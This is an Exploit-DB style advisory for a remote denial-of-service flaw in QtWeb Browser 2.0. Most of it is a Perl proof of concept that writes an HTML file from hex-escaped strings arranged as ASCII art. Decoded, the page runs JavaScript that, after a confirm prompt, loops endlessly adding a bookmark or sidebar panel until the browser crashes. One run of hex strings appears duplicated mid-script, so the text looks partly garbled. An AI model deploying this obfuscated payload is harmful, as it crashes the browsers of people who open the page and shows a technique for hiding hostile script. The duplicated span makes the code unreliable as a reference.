Remote Denial-of-Service in QtWeb Browser

vendor:
QtWeb Browser
by:
Unknown
5.5
CVSS
MEDIUM
Denial-of-Service
Unknown
CWE
Product Name: QtWeb Browser
Affected Version From: 2
Affected Version To: Unknown
Patch Exists: NO
Related CWE:
CPE: qtweb_browser
Metasploit:
Other Scripts:
Platforms Tested:
Unknown
Remote Denial-of-Service in QtWeb Browser

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.
Mitigation:

Unknown
Source
Exploit-DB raw data:

source: https://www.securityfocus.com/bid/34327/info

QtWeb browser is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

QtWeb 2.0 is vulnerable; other versions may also be affected.


                              $S="\x3C\x68\x74\x6D\x6C\x3E\x0D\x0A".
                         "\x3C\x74\x69\x74\x6C\x65\x3E\x51\x74\x57\x65\x62".
                 "\x20\x49\x6E\x74\x65\x72\x6E\x65\x74\x20\x42\x72\x6F\x77\x73\x65".
             "\x72\x20\x32".                                             "\x2E\x30\x20".
         "\x28\x62".                                                             "\x75\x69".
     "\x6C\x64".                                                                     "\x20\x30".
 "\x34\x33".                                                                             "\x29\x20".
 "\x52\x65".                                                                             "\x6D\x6F".
 "\x74\x65".                                                                             "\x20\x44".
 "\x65\x6E".                                                                             "\x69\x61".
 "\x6C\x20".                                                                             "\x6F\x66".
 "\x20\x53".                                                                             "\x65\x72".
 "\x76\x69".                                                                             "\x63\x65".
 "\x20\x45".                                                                             "\x78\x70".
 "\x6C\x6F".            "\x69\x74".                             "\x3C\x2F".              "\x54\x69".
 "\x74\x6C".        "\x65".     "\x3E".                     "\x0D".     "\x0A".          "\x3C\x68".
 "\x65\x61".    "\x64".             "\x3E".             "\x3C".             "\x62".      "\x6F\x64".
 "\x79\x3E".  "\x3C".                 "\x73".         "\x63".                 "\x72".    "\x69\x70".
 "\x74\x20".                                                                             "\x74\x79".
 "\x70\x65".                                                                             "\x3D\x22".
 "\x74\x65".                                                                             "\x78\x74".
 "\x2F\x6A".                                                                             "\x61\x76".
 "\x61\x73".                                                                             "\x63\x72".
 "\x69\x70".                                                                             "\x74\x22".
 "\x3E\x0D".                                                                             "\x0A\x61".
 "\x6C\x65".                                                                             "\x72\x74".
 "\x28\x22".                                                                             "\x51\x74".
 "\x57\x65".                                                                             "\x62\x20".
 "\x49\x6E".                                                                             "\x74\x65".
 "\x72\x6E".                                                                             "\x65\x74".
 "\x20\x42".                                                                             "\x72\x6F".
 "\x77\x73".                                                                             "\x65\x72".
 "\x20\x32".                                                                             "\x2E\x30".
 "\x20\x28".    "\x62".                                                         "\x75".  "\x69\x6C".
 "\x64\x20".     "\x30".                                                       "\x34".   "\x33\x29".
 "\x20\x52".      "\x65".                                                     "\x6D".    "\x6F\x74".
 "\x65\x20".        "\x44".                                                 "\x65".      "\x6E\x69".
 "\x61\x6C".         "\x20".                                               "\x6F".       "\x66\x20".
 "\x53\x65".            "\x72".                                         "\x76".          "\x69\x63".
 "\x65\x20".             "\x45".                                       "\x78".           "\x70\x6C".
 "\x6F\x69".               "\x74".                                   "\x5C".             "\x6E\x5C".
 "\x6E\x5C".                 "\x74".                               "\x5C".               "\x74\x5C".
 "\x74\x62".                    "\x79".                         "\x20".                  "\x4C\x69".
 "\x71\x75".                       "\x69".                   "\x64".                     "\x57\x6F".
 "\x72\x6D".                          "\x20".             "\x28".                        "\x63\x29".
 "\x20\x32".                             "\x30".       "\x30".                           "\x39\x22".
 "\x29\x3B".                                "\x0D\x0A\x66".                              "\x75\x6E".
 "\x63\x74".                                                                             "\x69\x6F".
 "\x6E\x20".                                                                             "\x64\x6F".
 "\x7A\x28".                                                                             "\x29\x20".
 "\x7B\x0D".                                                                             "\x0A\x74".
 "\x69\x74".                                                                             "\x6C\x65".

 "\x71\x75".                       "\x69".                   "\x64".                     "\x57\x6F".
 "\x72\x6D".                          "\x20".             "\x28".                        "\x63\x29".
 "\x20\x32".                             "\x30".       "\x30".                           "\x39\x22".
 "\x29\x3B".                                "\x0D\x0A\x66".                              "\x75\x6E".
 "\x63\x74".                                                                             "\x69\x6F".
 "\x6E\x20".                                                                             "\x64\x6F".
 "\x7A\x28".                                                                             "\x29\x20".
 "\x7B\x0D".                                                                             "\x0A\x74".
 "\x69\x74".                                                                             "\x6C\x65".
 "\x3D\x22".                                                                             "\x48\x6F".
 "\x74\x20".                                                                             "\x49\x63".
 "\x65\x22".                                                                             "\x3B\x0D".
     "\x0A\x75".                                                                     "\x72\x6C".
         "\x3D\x22".                                                             "\x68\x74".
             "\x74\x70\x3A".                                             "\x2F\x2F\x77".
                 "\x77\x77\x2E\x6D\x69\x6C\x77\x30\x72\x6D\x2E\x63\x6F\x6D\x2F".
                         "\x22\x3B\x0D\x0A\x69\x66\x20\x28\x77\x69\x6E\x64".
                              "\x6F\x77\x2E\x73\x69\x64\x65\x62";$M=




                                "\x61".       "\x72"          ."\x29".         "\x20".
                                 "\x7B".     "\x0D"       ."\x0A". "\x77".     "\x69".
                                   "\x6E"."\x64".         "\x6F".    "\x77".   "\x2E".
                                       "\x73".            "\x69".    "\x64".   "\x65".
                                       "\x62".            "\x61".    "\x72".   "\x2E".
                                       "\x61".            "\x64".    "\x64".   "\x50".
                                       "\x61".            "\x6E".    "\x65".   "\x6C".
                                       "\x28".            "\x74".    "\x69".   "\x74".
                                       "\x6C".            "\x65".    "\x2C".   "\x20".
                                       "\x75".            "\x72".    "\x6C".   "\x2C".
                                      "\x22".             "\x22".    "\x29".   "\x3B".
                                     "\x0D".                "\x0A"."\x7D".
                                    "\x20".                    "\x65".         "\x6C".
                                                                               "\x73";

     $I="\x65\x20\x69\x66\x28\x20\x77".
                "\x69\x6E\x64\x6F\x77".
                "\x2E\x65\x78\x74\x65\x72\x6E".
                        "\x61\x6C\x20\x29\x20". ##############
                        "\x7B\x0D\x0A\x77\x69\x6E\x64". ##   #
                                "\x6F\x77\x2E\x65"."\x78". ######
                                "\x74\x65\x72\x6E\x61". ##########       _         _         _
                        "\x6C\x2E\x41\x64\x64\x46\x61\x76\x6F\x72\x69". #==----   #==----   #==----
                                "\x74\x65\x28\x20\x75".
                                "\x72\x6C\x2C\x20\x74". ##===*
                        "\x69\x74\x6C\x65\x29\x3B\x0D".
                        "\x0A\x7D\x20\x65\x6C".
                "\x73\x65\x20\x69\x66\x28\x77".
                "\x69\x6E\x64\x6F\x77".
        "\x2E\x6F\x70\x65\x72\x61\x20";
                ####################


        $L="\x26\x26\x20\x77\x69\x6E\x64\x6F\x77\x2E".
                "\x70\x72\x69\x6E\x74\x29\x20\x7B".
                   "\x20\x0D\x0A\x72\x65\x74".
                        "\x75\x72\x6E\x20".
                          "\x28\x74\x72".
                            "\x75\x65".
                              "\x29".
                              "\x3B".
                            "\x20\x7D".
                          "\x7D\x0D\x0A".
                        "\x76\x61\x72\x20".
                   "\x61\x73\x6B\x20\x3D\x20".
                "\x63\x6F\x6E\x66\x69\x72\x6D\x28".
           "\x22\x50\x72\x65\x73\x73\x20\x4F\x4B\x20".
                "\x74\x6F\x20\x73\x74\x61\x72\x74".
                   "\x20\x74\x68\x65\x20\x44".
                        "\x6F\x53\x2E\x5C".
                          "\x6E\x50\x72".
                            "\x65\x73".
                              "\x73".
                              "\x20".
                            "\x4E\x6F".
                          "\x20\x74\x6F".
                        "\x20\x64\x6F\x64".
                   "\x67\x65\x20\x74\x68\x65".
                "\x20\x44\x6F\x53\x2E\x22\x29\x3B".
           "\x0D\x0A\x69\x66\x20\x28\x61\x73\x6B\x20".
                "\x3D\x3D\x20\x74\x72\x75\x65\x29".
                   "\x20\x7B\x20\x0D\x0A\x66".
                        "\x6F\x72\x20\x28".
                          "\x78\x3D\x30".
                            "\x3B\x20".
                              "\x78".
  "\x3C".
                            "\x78\x2B".
                          "\x31\x3B\x20".
                        "\x78\x2B\x2B\x29".
                   "\x20\x64\x6F\x7A\x28\x29".
                "\x3B\x0D\x0A\x7D\x20\x65\x6C\x73".
           "\x65\x09\x7B\x20\x61\x6C\x65\x72\x74\x28".
                "\x22\x4F\x6B\x20\x3A\x28\x22\x29".
                   "\x3B\x0D\x0A\x77\x69\x6E".
                        "\x64\x6F\x77\x2E".
                          "\x6C\x6F\x63".
                            "\x61\x74".
                              "\x69".
                              "\x6F".
                            "\x6E\x2E".
                          "\x68\x72\x65".
                        "\x66\x20\x3D\x20".
                   "\x22\x68\x74\x74\x70\x3A".
                "\x2F\x2F\x77\x77\x77\x2E\x71\x74".
           "\x77\x65\x62\x2E\x6E\x65\x74\x2F\x22\x3B";
      #########
        $E="\x0D\x0A\x7D\x20".
                "\x3C\x2F\x73\x63".
                        "\x72\x69\x70\x74".
                                "\x3E\x3C\x2F\x62".
                                        "\x6F\x64\x79\x3E".
                                                "\x3C\x2F\x68\x65".
                                                        "\x61\x64\x3E\x3C".
                                                                "\x2F\x68\x74\x6D".
                                                                        "\x6C\x3E";#####____

my $file = "Smile.html";
my $fun = $S.$M.$I.$L.$E;
open (mrowdiuqil, ">./$file") || die "\nMffff... $!\n";
print mrowdiuqil "$fun";
close (mrowdiuqil);
print "\n[+] File $file created with funny potion\!\n\n";